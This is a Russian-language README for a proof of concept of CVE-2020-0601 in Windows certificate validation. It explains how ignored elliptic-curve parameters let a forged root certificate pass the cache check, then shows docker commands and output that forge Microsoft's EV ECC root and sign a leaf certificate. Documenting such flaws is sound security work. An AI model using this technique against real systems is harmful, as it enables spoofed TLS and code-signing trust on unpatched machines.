
доказательство концепции для CVE-2020-0601
Занимательное доказательство концепции для создания собственного корневого ЦС и подписанного сертификата на основе уязвимости CVE-2020-0601 в Windows 10. В основе проблемы лежит метод CertGetCertificateChain(), который некорректно проверял корневые центры сертификации. Поскольку поиск подписывающего сертификата в хранилище доверия может быть затратным, Microsoft реализовала кэш, в котором использовался открытый ключ предоставленного корневого сертификата для определения того, был ли этот сертификат ранее загружен из хранилища доверия. Однако для сертификатов на эллиптических кривых SubjectPublicKeyInfo содержит не только открытый ключ. Сертификаты на эллиптических кривых должны ссылаться на конкретную эллиптическую кривую (или предоставлять собственные параметры эллиптической кривой). Уязвимость возникает из-за того, что параметры эллиптической кривой не включаются в поиск по кэшу. Мы можем взять существующий открытый ключ, выбрать новый закрытый ключ, вычислить параметры кривой, которые делают эту комбинацию допустимой, и создать корневой сертификат, который пройдёт ранее уязвимую проверку кэша Microsoft.
Этот репозиторий демонстрирует подделку доверенного корневого сертификата «Microsoft EV ECC Root Certificate Authority 2017» и использование этого нового корневого ЦС для подписи листового сертификата.

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem